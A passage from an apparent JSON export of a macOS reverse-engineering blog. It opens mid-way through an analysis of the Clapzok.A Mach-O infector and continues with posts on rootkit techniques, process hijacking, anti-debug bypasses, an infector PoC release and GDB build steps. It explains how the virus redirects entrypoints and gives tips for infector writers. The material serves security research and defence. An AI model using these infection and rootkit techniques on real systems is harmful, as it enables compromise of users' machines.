values – MZ, PE, ELF, 0xFEEDFACE, 0xBEBAFECA. If target is valid then it calls an infection routine for each type. After a successful infection, it munmaps memory, restores any modified permissions and original access and modification times, and continues to process dirent buffer until there are no more entries left.\nMoving inside the function that tries to infect 32 bit non-fat Mach-O binaries, located at sub_AA8.\nIt starts by verifying the cpu and file type, available in struct mach_header. It can only infect CPU_TYPE_I386 and MH_EXECUTE targets. Everything else is discarded! If these conditions are met the segments commands are processed. The code is looking for two things – a valid __PAGEZERO segment, where vmaddr field is set to 0 and filesize field also set to 0. This avoids string comparison with __PAGEZERO and it is a robust assumption to find this segment. The other command that it needs is LC_UNIXTHREAD to modify and redirect initial execution into the virus payload. Here it just lookups for command 0x5 (LC_UNIXTHREAD) and its flavor 0x1 (X86_THREAD_STATE32).\nIf the two commands are found and valid for infection proceeds with its modification. As already demonstrated in the very first screenshot, the vmsize, fileoff, filesize, memory protections, and EIP are modified accordingly. There is a minor flaw in this process. It does not support the new LC_MAIN command, which is now used instead of LC_UNIXTHREAD to load the application entrypoint. This means it will be unable to infect system binaries in /bin and /usr/bin in Mountain Lion. Well, it would be unable anyway since most are 64 bit only binaries. It is easy to fix so do not forget this new command if you are writing infectors and need to modify the entrypoint.\nThe last call at 0xB34 is responsible for copying the virus payload into the target and updating some values. Before this, a quick jump to the end and how original entrypoint is solved.\nThose two values at 0x8A and 0x9C are modified on each infection and are specific to each binary. A quick hack in C to solve the OEP:\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; int main(void) { int32_t eax = 0x8AB1C871; int32_t ecx = eax, ebx = eax; for (eax *= ecx, eax--; eax != 0; eax--) { eax += ebx; ebx = eax; eax *= ecx; } printf(\u0026#34;eax is %x ebx %x\\n\u0026#34;, eax, ebx); ebx = ebx * 0x385d8f8; printf(\u0026#34;OEP is %x\\n\u0026#34;, ebx); return 0; } Back to function sub_120. It does three things – copy virus payload into the infected target mapped memory, update the two hardcoded values for solving the entrypoint, and modify three different memory locations inside the virus payload (0x196, 0x490, 0xA05).\nA small detail is that you should use hardware breakpoints while debugging else the software breakpoints will be copied into the infected target in case they are active (the copy is done using rep movsb and the source is the memory of the running infected binary). One thing that I do not understand is why the three memory locations are being XORed. As far as I have seen they are not used for anything else. Checksums will always be different because of the entrypoint values so I am not sure if that is the original goal or something else.\nRight now I can’t remember anything else in particular to expose about Clapzok. The June Virus Bulletin is finally out and if you have access you can also read Peter Ferrie’s article about this same virus, covering all three platforms. Unfortunately I can’t share the issue. It contains some other details such as small bugs but no code samples. This post will probably be updated with some other details and/or fixes so keep watching. I am not sure yet if I can share my sample, if I do I will post it here. Before closing, the picture of the virus main().\nConclusions\u0026hellip;\nIt was fun to reverse this PoC! Since it is coded in assembly it contains some optimizations and tricks that I find funny. There is room for improvement and fix some of its bugs. Its biggest issue is infecting __PAGEZERO. That is very easy to detect and even fix if Apple really wants to (unless I am wrong!). But, never forget that hindsight is always easy and what you do not know is not always clear. It is also a PoC so there is no malicious intent by its author.\nIt is good to see some movement in the OS X virus arena – it can finally shake up things and call for attention that it is not a safe platform as most people want to believe in. Assuming the author is the same as version 1.0, congratulations to JPanic for his good work. Keep’em coming.\nEnjoy,\nfG!\nUpdate(s):\nI forgot to mention two details. Syscalls are used via int80 (as Crisis dropper does for example), and that code signed binaries will also be infected, thus rendering the code signature invalid. The easy way to avoid this is to lookup for LC_CODE_SIGNATURE command and do not infect binaries containing this segment command.\nI just read Ferrie’s article in detail and the three data areas I mention appear to contain credits and other information. The functions address table set in the beginning also seems to be used by the other platforms if I am reading correctly his article. Since I only reversed the OS X part I do not have total awareness of all cross-platform mechanisms present in the code.\n","permalink":"https://reverse.put.as/2013/05/31/clapzok-a-reversing-the-os-x-part-of-a-multiplatform-poc-infector/","summary":"I was lucky enough to get my hands on an updated version of interesting multiplatform virus and decided to reverse the OS X part. The original virus is from 2006 by JPanic and it’s called CAPZLOQ TEKNIQ v1.0. The new version adds support to infect OS X binaries, 32 bit x86 only, although it supports infection of fat binaries (the x86 version only).\nSource code for the original version is available.","title":"Clapzok.A: reversing the OS X part of a multiplatform PoC infector"},{"content":"One of the changes introduced by Mountain Lion was the removal of the old procmod convention for applications that want to access the task port of a process (aka for reversers, debuggers). Before this change, any binary that was procmod suid group set could access the task port of other processes (running as the same user). Taskgated configuration in Mountain Lion was changed and removed this possibility. Only signed binaries that contain an embedded Info.plist with a SecTaskAccess key have this feature enabled by taskgated. By embedded I mean a new section that is added to the binary at compile time, with the compiler option –sectcreate __TEXT __info_plist Info.plist.\nSection sectname __info_plist segname __TEXT addr 0x0000000100240120 size 0x000000000000026f offset 0x240120 align 2^0 (1) reloff 0x0 nreloc 0 flags 0x00000000 reserved1 0 reserved2 0 This is true for single-file tools; application bundles have the Info.plist in the container and so the necessary key can be added there. Refer to this Apple document for additional information.\nThe problem arises when we want to do the same with a tool we only have the binary version. I wanted to work on a Python debugger and use the OS X supplied version, instead of compiling a new one and maybe dive directly into some kind of hell. And of course I didn’t want to modify taskgated configuration to support the old mode. So it was another opportunity to mess around with Mach-O headers.\nThe stupid thing is that after testing this with Python I discovered that it does not work with Python! The reason is that Python does have a bundle with a Info.plist we can modify. In Mountain Lion it is located at /System/Library/Frameworks/Python.framework/Versions/Current/Resources/Python.app (you can use fs_usage | grep taskgated to find out the correct location). You just need to edit it, add the following key and re-codesign the bundle with your own certificate.\n\u0026lt;key\u0026gt;SecTaskAccess\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;allowed\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;debug\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; Anyway, we can always learn something “new”. Assume the target is a single-file tool. What happens is that taskgated will read the Mach-O header, and search for the __info_plist section. If that section exists, SecTaskAccess key has the right configuration, and binary is signed by a trusted certificate, then task_for_pid() will be enabled for that binary.\nThe easy solution is to add that new section into the binary and problem solved. There is a small detail where codesign does not like if we add the plist data at the end of the current binary. It will refuse to re-codesign the modified binary. My solution is to use the header space to also store the Info.plist data. If you recall this post, the section information is not taken in account when executing the binary. But this trick works because taskgated reads again the header and uses the section offset information to lookup the data location. In theory this data can be located anywhere in the binary as long it passes codesign “integrity” checks. Adding to the end of the binary fails, although it might be possible to work around it (already lost too much time in this tool). The caveat here is that you must always codesign the target binary (if it not already) before injecting the Info.plist. It is due to codesign_allocate header free space algorithm that will detect the data inside the header and lower offset.\nThe code implements two modes. The first one that I did was to add a duplicate __TEXT segment with the __info_plist section (do not ask me why I went the hard way, my brain has this kind of things!) and the other is to just add a new section to the existing __TEXT segment (I thought this would not work because the kernel loader and dyld would not like it – does work without any problem).\nThe tool is called gimmedebugah and as always source code is available here. The README has some additional details.\nSince Python has a Info.plist, my original goal is defeated. Maybe it can be handy for something else in the future. Or just another example of tricks to play with Mach-O headers. At least I got some new ideas.\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2013/05/28/gimmedebugah-how-to-embedded-a-info-plist-into-arbitrary-binaries/","summary":"One of the changes introduced by Mountain Lion was the removal of the old procmod convention for applications that want to access the task port of a process (aka for reversers, debuggers). Before this change, any binary that was procmod suid group set could access the task port of other processes (running as the same user). Taskgated configuration in Mountain Lion was changed and removed this possibility. Only signed binaries that contain an embedded Info.","title":"Gimmedebugah: how to embedded a Info.plist into arbitrary binaries"},{"content":"Suffering from post-conference boredom I decided to redo Onyx The Black Cat kernel extension to kickstart again my brain and get back to serious work. There were also some people asking for an updated version so here it is!\nThis reworked version uses kernel control interface to enable/disable its features. It is much better than sysctl used before. It is also compatible with Snow Leopard, Lion, and Mountain Lion, and, hopefully, it should run without any problems in future versions. It uses a disassembler to locate the places that need to be patched. That part of the code is not pretty but it works. The symbols are read from the /mach_kernel at disk to maintain compatibility with Snow Leopard and below.\nIt contains measures to bypass the PT_DENY_ATTACH, sysctl, and kauth anti-debug tricks. Also contains an option to reenable the possiblity of task_for_pid() the kernel task (useful for testing stuff and maybe forensics), and another to patch the CPU resume flag. For some (weird?) reason Apple clears up the resume flag from EFLAGS (if I am not mistaken, similar situation happens with Windows 98), making it impossible to use that single step feature when building your custom debuggers (very useful for quick single-stepping hacks).\nTested with Snow Leopard 10.6.8 (32 and 64 bit), Lion 10.7.5 (64 bit), and Mountain Lion 10.8.3 (64 bit).\nCode is available at github.\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2013/05/24/the-all-new-onyx-the-black-cat/","summary":"Suffering from post-conference boredom I decided to redo Onyx The Black Cat kernel extension to kickstart again my brain and get back to serious work. There were also some people asking for an updated version so here it is!\nThis reworked version uses kernel control interface to enable/disable its features. It is much better than sysctl used before. It is also compatible with Snow Leopard, Lion, and Mountain Lion, and, hopefully, it should run without any problems in future versions.","title":"The \"all\" new Onyx The Black Cat!"},{"content":"NoSuchCon is over and I am finally back home. It was a really great conference with great talks and a full room all the time (let me say I am very surprised about this). The only negative thing was the projection “wall” which was really bad and “killed” almost everyone’s slides. While I understand it is an historical building, that thing must be improved, either with a temporary solution or something else. Good architecture must also be functional else it is not fulfilling its goal. Anyway, awesome conference, congrats to the organizers for all their hard work, and attendees for their enthusiastic interest.\nAll the conference slides are available here.\nMy presentation was a reworked SyScan version about OS X rootkits. The DTrace fbt was replaced by the syscall provider and an attack to Volatility, and Little Snitch was removed. Even if it was a trimmed version I still took more time than allocated. I forgot to apologize at the time for that – I just like to give too much information. Sorry for that.\nThe DTrace syscall provider slides contain an old attack, sysent shadowing, against Volatility. I sort of presented it because I have some issues with the conclusion paragraph at this blog post. It is always easy to find what you know about but what you do not know is not always true, even when simple tricks are being used. Memory forensics is a good progress but we must be very careful with its assumptions. That is my goal with those slides, always question the assumptions – your own and tools. As a side note, Volafox is (was?) also vulnerable to the same trick.\nGreetings to everyone I met and special greetings to Arnaud and David for the excellent company and wine, even if Benfica lost the UEFA final.\nNow it is time to get back to work and writing. There is at least one book to write.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2013/05/21/nosuchcon-1-debrief-and-slides/","summary":"NoSuchCon is over and I am finally back home. It was a really great conference with great talks and a full room all the time (let me say I am very surprised about this). The only negative thing was the projection “wall” which was really bad and “killed” almost everyone’s slides. While I understand it is an historical building, that thing must be improved, either with a temporary solution or something else.","title":"NoSuchCon #1 debrief and slides"},{"content":"Let me give you a small gift before moving my ass to Paris to attend and present at NoSuchCon.\nHydra is sample code of a kernel extension that will intercept process creation, suspend, and communicate it to a userland daemon that will be in charge of patching the application.\nIt uses the process hijacking technique I described at SyScan presentation. Instead of injecting a library it leaves the process in a suspended state and makes its PID available for the userland daemon. This daemon will be responsible for patching and resuming the process after.\nUsing this technique there is no need to resign a codesign protected application because it acts after those checks are done. This is true assuming that the application does not have any additional (internal) code checksum routines. Most don’t, barely any even check codesigning result (I wanted to patch Dash, which does check the signing certificate or something and I was too lazy to find where).\nAs most of my code, it aims to demonstrate “technology” and different ways to do things. It is not feature complete and if I’m not mistaken all the patching could be done from the kernel (right now I’m not sure if codesigning will be verified after the interception point or not, and it is boring to verify it now).\nIt is available here at github. The kernel extension is fully working, the userland daemon is just a crude example of how to implement it.\nSee you in Paris if are attending NoSuchCon. Feel free to meet me there!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2013/05/13/hydra-the-sample-util-i-am-unable-to-describe/","summary":"Let me give you a small gift before moving my ass to Paris to attend and present at NoSuchCon.\nHydra is sample code of a kernel extension that will intercept process creation, suspend, and communicate it to a userland daemon that will be in charge of patching the application.\nIt uses the process hijacking technique I described at SyScan presentation. Instead of injecting a library it leaves the process in a suspended state and makes its PID available for the userland daemon.","title":"Hydra, the sample util I am unable to describe!"},{"content":"Today I discovered that my slides contain a (stupid) error!\nThe story begins with Alex Ionescu telling me the symbols are still available in kernel memory in Mountain Lion. I quickly verified this by doing memory dumps and it was really true. Today I finally got some time to sort it out and verify where they were. To my great surprise I fucked up bigtime on my manual calculations and was dumping the wrong memory area (DUH!). I got even more annoyed when I verified that my sample source code has the right formulas! Unfortunately I deleted the computations file I had used for slides #9 and #10, which show memory dumps of the kernel symbol strings, so I could not replicate my original error. After a while I think I found some clues why I messed up.\nSnare’s original post about solving kernel symbols uses the following formula: $string_table=$linkedit_address + ($symtab-\u0026gt;stroff – $symtab-\u0026gt;symoff). This works in Lion because the symbols offset starts at the beginning of __LINKEDIT. This changed in Mountain Lion so that formula is not true. Rubilyn uses the same formula. One assumption that propagated into my computations and led to this mistake. Ah, assumptions, they are so dangerous. I should know better because those slides were created a while after the sample rootkit code. More duh!\nThe correct formula where symbol strings are located is __LINKEDIT address + Kernel ASLR + (LC_SYMTAB-\u0026gt;stroffset – __LINKEDIT-\u0026gt;fileoffset). These are the values from the kernel image at disk, except for kernel ASLR slide.\nWhat is the real impact of this mistake? Kernel symbols can be solved from a kernel extensions in Lion and Mountain Lion without using the disk image, but keep in mind that __LINKEDIT is marked as pageable. It still holds true that it is not possible for Snow Leopard and below. The number of Snow Leopard installations is still reasonable so the solution I presented is not totally useless (besides, it can be used for other fun stuff).\nOh well, failure is part of life and the design of our brains is not perfect. You can study and read tons of books about our design flaws and still fall “victim” at unexpected times. One good reason why I love the Human brain 😄.\nfG!\n","permalink":"https://reverse.put.as/2013/05/08/there-is-an-error-in-my-syscan-slides/","summary":"Today I discovered that my slides contain a (stupid) error!\nThe story begins with Alex Ionescu telling me the symbols are still available in kernel memory in Mountain Lion. I quickly verified this by doing memory dumps and it was really true. Today I finally got some time to sort it out and verify where they were. To my great surprise I fucked up bigtime on my manual calculations and was dumping the wrong memory area (DUH!","title":"There is an error in my SyScan slides!"},{"content":"SyScan 2013, 10th anniversary edition is over! It is a great conference and I hope it does not end here. I had lots of fun and met new interesting people. Thomas is an awesome host! It helps that I really like Singapore and Asia in general.\nMy presentation was about Mac OS X kernel rootkits based on the article I submitted to Phrack. Because Phrack is late, I was trying to postpone public availability of my slides. I will also do the “same” presentation at NoSuchCon on the 17th May. The slides were made available at SyScan site so there is no point in holding out anymore. The version available here is the most recent version with some additional changes I did before presentation, and some others after presentation feedback to clarify some points. Thanks to Igor from Hex-Rays, A. Ionescu, and Shane (my assigned drone controller).\nThe main goal is to show how easy it is to improve OS X rootkits quality, and that we need to invest time (\u0026amp; money) to research and develop detection and protection tools. Nemo also presented about DTrace rootkits at Infiltrate’13, and we (nemo, snare, and I) are starting to write a book about OS X rootkits. Hopefully this should bring some fresh blood to the OS X rootkit scene.\nPhrack should be out one of these days – then you can enjoy the long article and sample rootkit source code!\nEnjoy,\nfG!\nSyScan 13 Presentation slides\n","permalink":"https://reverse.put.as/2013/05/07/syscan13-revisiting-mac-os-x-rootkits-presentation/","summary":"SyScan 2013, 10th anniversary edition is over! It is a great conference and I hope it does not end here. I had lots of fun and met new interesting people. Thomas is an awesome host! It helps that I really like Singapore and Asia in general.\nMy presentation was about Mac OS X kernel rootkits based on the article I submitted to Phrack. Because Phrack is late, I was trying to postpone public availability of my slides.","title":"SyScan13: Revisiting Mac OS X Rootkits presentation"},{"content":"This is an up-to-date version of the old original post about recompiling GDB and other open source packages available at opensource.apple.com. I’m doing it mostly because code signing is now mandatory for GDB and there’s a stupid old bug that Apple still didn’t fixed since Snow Leopard. I forgot about it on my latest reinstall and lost an afternoon. This way you and me will not make the same mistake.\nYou should have Xcode installed. Follow these steps:\nDownload darwinbuild from their SVN repository.\nSince Snow Leopard there is a svn client by default so no need to download.\nFollow the instructions on how to download,compile and install darwinbuild here. Use the guide for Snow Leopard/Lion version, it’s compatible with Mountain Lion.\nCompile and install darwinbuild:\n$ make ; sudo make install Create the DMG file and initialize darwinbuild environment (you should use at least 2 gigabytes): The plists and build numbers are available at http://svn.macosforge.org/repository/darwinbuild/trunk/plists/. Use build number 12A269 (it’s for 10.8.0 but works ok for all others).\n$ hdiutil create -size 2G -type UDIF -fs HFSX -volname Builds -uid 0 -gid 0 -attach Builds.dmg $ sudo sh # vsdbutil -a /Volumes/Builds # cd /Volumes/Builds # mkdir Build12A269 # cd Build12A269 # darwinbuild -init 12A269 (you need Internet connection) # darwinxref edit In darwinxref edit you need to add the GDB package to the configuration. Go to the projects section and add the following:\ngdb = { version = 1822; }; Default editor is vi. Save and quit. If you have a problem with an invalid property list, use the same tab alignment as the other entries. That should fix it.\nClone the gdb-ng repo from github if you want my patches included (you probably do!). Else skip to next (darwinbuild will download the package from Apple opensource repo). # cd /Volumes/Builds/Build12A269/Sources # git clone git://github.com/gdbinit/gdb-ng.git # cd gdb-ng # bash pack.sh # mv gdb-1822.tar.gz .. (check version in case it changes) # cd /Volumes/Builds/Build12A269 Compile GDB. # darwinbuild -nochroot gdb The -nosource option has been added to recent darwinbuild versions. This option will allow you to patch directly into BuildRoot/SourceCache/. The first time you shouldn’t use this option so darwinbuild will download the GDB package. After that you can use it if you want to patch directly GDB source files (that’s what I do with my GDB patches). It’s much easier and faster than having to patch and compress the whole GDB source. After you patch, you just issue darwinbuild -nochroot -nosource gdb and this will not unpack the original source but instead use whatever is at SourceCache.\nWait for the compilation to finish\u0026hellip;\nGo to Roots/gdb/gdb-1822.root*/usr/libexec/gdb. You should have a gdb-i386-apple-darwin binary. Backup the original and copy this one over.\n# cp /usr/libexec/gdb/gdb-i386-apple-darwin /usr/libexec/gdb/gdb-i386-apple-darwin.orig # cp gdb-i386-apple-darwin /usr/libexec/gdb/ The latest step is to codesign the binary. This is because taskgated default configuration has changed and it’s not anymore sufficient to have the binary suid to procmod group. It must have entitlements and be codesigned. The process is not just creating a self-signed certificate and codesign the binary with it. There is an old bug since Snow Leopard that complicates it a little bit. Follow this guide from LLDB code signing document. You can either code sign the binary you copied above to /usr/libexec/gdb or sign it at the Roots folder and copy the signed version.\nLaunch GDB and see if it works. It should ask you for your password the first time (after each reboot). If everything is ok you should be able to attach to or run the target process.\nNow you can enjoy your next afternoon in case you want/have to compile GDB. You might also want to download and install gdbinit to improve GDB output and available commands.\nfG!\n","permalink":"https://reverse.put.as/2013/03/20/how-to-compile-gdb-in-mountain-lion-updated/","summary":"This is an up-to-date version of the old original post about recompiling GDB and other open source packages available at opensource.apple.com. I’m doing it mostly because code signing is now mandatory for GDB and there’s a stupid old bug that Apple still didn’t fixed since Snow Leopard. I forgot about it on my latest reinstall and lost an afternoon. This way you and me will not make the same mistake.","title":"How to compile GDB in Mountain Lion (updated)"},{"content":"More than half a year as passed since HITCON'12 and as far as I know no one cared much about implementing some sort of detection/protection against this type of attack (correct me if I’m wrong). As explained in HITCON slides, this trick can be very useful to install backdoors and avoid the usual lame LaunchDaemons type of thing.\nI did some massive cleanup to the original PoC that I had glued for HITCON but it’s still a bit messy and definitely not “production” ready. It contains many “design” decisions that make it easily detectable but keep in mind it can be worked and improved a lot.\nThe goal here is to show how (easily) it can be done and improve detection/protection. History keeps repeating itself and while everyone is worried with 0days, stupid simple tricks are still very effective. We need to get rid of these first!\nCode is available at github and also a zip at the end of the post.\nThis version only supports non-fat targets so you need to work on it if you want to make a cyberweapon out of it (ahhh, couldn’t resist to make the joke).\nLink to the HITCON slides in case you want to reread the concept.\nDon’t forget to chown -R root:wheel to all apps in /Applications (very few give problems with this, at least protect the main binary and frameworks).\nHave fun,\nfG!\nosx_boubou_v0.1.zip\nSHA256(osx_boubou_v0.1.zip)= 4e5429aeca58f8d6aea89034409804cc4a8a787fc56b1ce617bb28071eb8d0ce\n","permalink":"https://reverse.put.as/2013/03/05/os-xboubou-mach-o-infector-poc-source-code/","summary":"More than half a year as passed since HITCON'12 and as far as I know no one cared much about implementing some sort of detection/protection against this type of attack (correct me if I’m wrong). As explained in HITCON slides, this trick can be very useful to install backdoors and avoid the usual lame LaunchDaemons type of thing.\nI did some massive cleanup to the original PoC that I had glued for HITCON but it’s still a bit messy and definitely not “production” ready.","title":"OS.X/Boubou – Mach-O infector PoC source code"},{"content":"Another day, another lame malware attacking and spying on OS X users, and still using the same old lame Daemons and Agents approach to gain persistence at victims machine. Hey, it works, so why change, right?\nIce the Guardian v2 is a quick hack using TrustedBSD to monitor the system LaunchDaemons and LaunchAgents folders. There’s a lot of room for improvement so I’m waiting for your commits 😉.\nApple has the technology in place so they could probably implement something like this default oin OS X. Gatekeeper can’t be the only obstacle to this kind of stuff.\nYou can find the source code at github repo.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2013/02/14/ice-the-guardian-v2-the-os-x-anti-lamware/","summary":"Another day, another lame malware attacking and spying on OS X users, and still using the same old lame Daemons and Agents approach to gain persistence at victims machine. Hey, it works, so why change, right?\nIce the Guardian v2 is a quick hack using TrustedBSD to monitor the system LaunchDaemons and LaunchAgents folders. There’s a lot of room for improvement so I’m waiting for your commits 😉.\nApple has the technology in place so they could probably implement something like this default oin OS X.","title":"Ice the Guardian v2, the OS X anti-lamware"},{"content":"And 2012 (Gregorian calendar version) is almost over so it’s time to look back and ahead.\nThis year was certainly a great one for myself. Had quite a few interesting projects, went to Asia and spoke at conferences for the first time, improved a lot my skills and fulfilled the main 2012 goal. It was certainly a very busy but fun year that set the pace for 2013. The projects’ queue for 2013 is already very interesting with lots of (fun) work ahead! If everything goes as expected, April will bring a nice article and the end 2013 or early 2014 something else, hopefully a very interesting one.\nI will keep doing my best to keep this blog alive and publish whatever (interesting) things I find out, outside those (pesky) NDAs.\nThe best wish I have for 2013 is health (as in all other years). It’s health that keeps you alive and it’s the great richness one can have. I’ve been very lucky in this department and I hope to continue like that. I wish the same for you!\nHappy new year and keep having fun. Life is short so do crazy things 😃.\nfG!\n","permalink":"https://reverse.put.as/2012/12/28/happy-new-year-2013-edition/","summary":"And 2012 (Gregorian calendar version) is almost over so it’s time to look back and ahead.\nThis year was certainly a great one for myself. Had quite a few interesting projects, went to Asia and spoke at conferences for the first time, improved a lot my skills and fulfilled the main 2012 goal. It was certainly a very busy but fun year that set the pace for 2013. The projects’ queue for 2013 is already very interesting with lots of (fun) work ahead!","title":"Happy new year, 2013 edition!"},{"content":"The question that most people want to be answered is if this is the book to replace the venerable Mac OS X Internals by Amit Singh. In my opinion it’s complementary with some good updates and interesting tips.\nI wasn’t expecting to buy this book so soon due to some Twitter comments and to printing issues, with at least one chapter missing and replaced with another from a ASP.net book. A project I’m working at antecipated my waiting. I haven’t read the whole book yet but some six or seven chapters both from the introductory part and the more advanced one. The writing style and edition quality are good, which is a benefit from a single author. This contrasts for example with IOS Hacker’s Handbook, where the edition quality is poor and the writing styles so different (too many authors, not much edition work). There are printing errors here and there, with swapped outputs, messed up structures, some missprinted words. Nothing that puts in question the overall quality.\nThe main reason why I think it’s not a replacement to Singh’s book is that content feels short in many places. Some subjects are briefly introduced and then not developed. I would describe it as a good overall and updated (this is a very positive point!) introduction to Mac OS X internals. The iOS component is mostly brief references to differences or missing stuff (it’s a tough work here since its source is not published!). There is a lot less code and listings compared to Singh’s. One thing I like a lot are its diagrams and figures, simple and clear.\nAn update to Singh’s book is being done by Gwynne Raskind although the release date is probably late 2013. One must wait to see if the new version will take the number 1 spot. This one is a good addition to your library and if you are new to OS X internals it’s probably a good place to start and then buy Singh’s book if you want to go deeper. Congrats to Jonathan Levin, (good) book writing is not easy.\nfG!\n","permalink":"https://reverse.put.as/2012/12/12/a-quick-review-of-mac-os-x-and-ios-internals-to-the-apples-core/","summary":"The question that most people want to be answered is if this is the book to replace the venerable Mac OS X Internals by Amit Singh. In my opinion it’s complementary with some good updates and interesting tips.\nI wasn’t expecting to buy this book so soon due to some Twitter comments and to printing issues, with at least one chapter missing and replaced with another from a ASP.net book. A project I’m working at antecipated my waiting.","title":"A quick review of Mac OS X and iOS Internals – To the Apple’s Core"},{"content":"It’s the lazy post season so I present you otool-ng. It’s a fork of Apple’s otool with small modifications for things that I use often or dislike in current otool.\nThe segment command LC_MAIN was introduced to replace LC_UNIXTHREAD and one information that is lost is the entrypoint address. While ASLR kind of makes it less useful, I still debug a lot of programs and do other stuff, where ASLR is disabled. So I just added that feature back and now the LC_MAIN output also prints the non-ASLRed entrypoint address. The algorithm appears to be LC_SEGMENT.vmaddr plus the file offset described at LC_MAIN. If you use it and find it not working please let me know.\nI have also changed all the file offsets information to hexadecimal because I hate to convert when copying \u0026amp; paste to hex editors.\nAnd the last feature for now is the -z flag. It will modify the PIE flag, inverting the current setting (set if removed, remove if set). Again, it’s something I need from time to time and it’s faster to do it from the command line. I was brainwashed in Economics so I like to be efficient (ok ok, lazy!!!).\nYou can find the code at https://github.com/gdbinit/otool-ng. To compile it, follow my old (and useful since I use it often) post about darwinbuild. You just need to put the tar.gz file inside the Sources folder to avoid downloading from darwinbuild/Apple servers. There’s a small shell “script” to create the package.\nHope you find it useful. As usual send any requests, patches, complaints, etc.\nfG!\nP.S.: I need to nag pancake to get an updated iOS package. The version available at Cydia is too old!\n","permalink":"https://reverse.put.as/2012/11/21/otool-ng-a-set-of-small-patches-to-apples-otool/","summary":"It’s the lazy post season so I present you otool-ng. It’s a fork of Apple’s otool with small modifications for things that I use often or dislike in current otool.\nThe segment command LC_MAIN was introduced to replace LC_UNIXTHREAD and one information that is lost is the entrypoint address. While ASLR kind of makes it less useful, I still debug a lot of programs and do other stuff, where ASLR is disabled.","title":"Otool-ng – a set of small patches to Apple’s otool"},{"content":"Welcome back!\nThis is a small post about a quick util that I created yesterday’s night while working on a side project. Mountain Lion introduced kernel ASLR and the kextstat util output doesn’t support (yet?) this feature. The addresses are not the real ones and this is quite annoying (kgmacros from kernel debugging kit also seem to fail at this!).\nWhat this util does is to read the kernel extensions information via the /dev/kmem device (hence this util is probably not useful for a large audience) and display it like kextstat does with the correct address for each kext (just the most important information, the linked against info might be added in the future).\nBesides being useful for anyone wanting to read the kexts information, it’s also useful for rootkits because it implements the trick that Crisis uses to retrieve this information for 64 bit kernels (my posts were against the 32 bit version). The only piece left is how to find the sLoadedKexts symbol. Here it’s hardcoded for version 10.8.2. I do have a nice trick to find it but it’s not ready for public consumption. First I want to see if it’s possible to implement my new idea.\nDue to some whacky reason I was convinced that each kernel extension had individual ASLR slide values, which after I got this util working was demonstrated false. The slide is the same as the kernel. I probably had some mistake while searching manually for the kexts. Practice makes perfection and part of this code was needed for my new project so it’s not wasted time!\nThe code is located at https://github.com/gdbinit/kextstat_aslr.\nOne feature to be added is to “bruteforce” the whole sLoadedKexts array. The reason is that rootkits usually decrease the count but the information remains there. Since the class has a capacity instance variable, we can move beyond the count and check if there’s anything suspicious there. Just a fun detail.\nThe last detail is that this is susceptible to changes to OSArray and OSKext classes since it’s using offsets into the instance variables. The best way would be to get this ported to C++ but I still have to read a book or two on C++. Need to verify how stable are these classes since Snow Leopard.\nPhew, too many written words for such small util!\nHave fun,\nfG!\nUpdate:\nThere is a privileged syscall called kas_info() that allows to retrieve kernel ASLR value. I’ve updated the code to use this feature.\n","permalink":"https://reverse.put.as/2012/11/18/kext_aslr-util-or-how-to-start-hiding-your-kernel-rootkit-in-mountain-lion/","summary":"Welcome back!\nThis is a small post about a quick util that I created yesterday’s night while working on a side project. Mountain Lion introduced kernel ASLR and the kextstat util output doesn’t support (yet?) this feature. The addresses are not the real ones and this is quite annoying (kgmacros from kernel debugging kit also seem to fail at this!).\nWhat this util does is to read the kernel extensions information via the /dev/kmem device (hence this util is probably not useful for a large audience) and display it like kextstat does with the correct address for each kext (just the most important information, the linked against info might be added in the future).","title":"Kextstat_ASLR util or how to start hiding your kernel rootkit in Mountain Lion"},{"content":"Happy birthday to this blog!\nIn 2007 I bought my first-ever Apple computer and started this blog. The amount of (public) reverse-engineering related information was scarce, cracking in particular. It was a whole new platform to me and a blog would be a good way to share my findings with others. I had experienced this with the PalmOS platform, where I created quite a few tutorials but never made them public. This time I wanted to share the information and improve knowledge.\nThe initial posts were mostly focused on cracking and (naturally) then evolved to other areas. The OS X and iOS reverse-engineering knowledge is much better these days but there’s still so much room for improvement. This blog is one of the most popular in this area and probably helped many reversers to get into the OS X and iOS platforms. It contains a lot of information and work into it. I really enjoy to spread and improve knowledge. It forces me to seek more instead of settling. I hope this blog has been useful to you in one way or another.\nNew friends were made, tools were created, tricks were discovered, legal troubles almost happened, moral dilemmas and temporary shutdown ensued, extremely interesting consulting projects happened, spoke at two conferences, and so on. It was pretty interesting the amount of things that originated from a simple blog. My expectations were blown away!\n2013 is almost here. Very interesting projects are about to start, and I expect an extremely and interesting busy year. News about that one of these days. I will do my best to keep writing and releasing code. There’s still a lot of work to be done and I want to keep being part of it!\nEnjoy life and have fun. Do crazy stuff and challenge everything. Knowledge and the world only improve if people challenge the establishment. There’s no perfect moral or ethics so try to achieve a balance. Read a lot, from different areas and things contrary to your current opinions. Keep challenging and reinventing yourself. Don’t settle! Perfection is an illusion but it’s fun trying to achieve it. Always aim high, you will reap great rewards!\nA big thank you to everyone!\nYours truly,\nfG!\n","permalink":"https://reverse.put.as/2012/10/10/5-years-of-reverse-put-as/","summary":"Happy birthday to this blog!\nIn 2007 I bought my first-ever Apple computer and started this blog. The amount of (public) reverse-engineering related information was scarce, cracking in particular. It was a whole new platform to me and a blog would be a good way to share my findings with others. I had experienced this with the PalmOS platform, where I created quite a few tutorials but never made them public.","title":"5 years of reverse.put.as"},{"content":"I really like my non-unibody Macbook Pro (awesome keyboard!) but its 3GB ram limit makes it almost impossible to work with virtual machines, Mac OS VMs in particular.\nI don’t have a need for another laptop and possibilities were between buying a Mac Pro or build my own Hackintosh. Against the Hackintosh is the fact that my patience for small problems doesn’t exist anymore. I just want something that works and does what I need – time is money. That’s the biggest advantage of a Mac Pro – no frills experience.\nInitially I was considering an iMac 27″ but I was annoyed by the fact that it wasn’t yet upgraded to Ivy Bridge. The lame upgrade on the Mac Pro line also annoyed me. I’m starting to hate this whole Apple secrecy. I need a new computer and my decisions can’t be based on rumors. Cognitive dissonance at its best.\nBased on good experiences by Hackintosh users I decided to take the plunge and order the parts to build one. All parts were 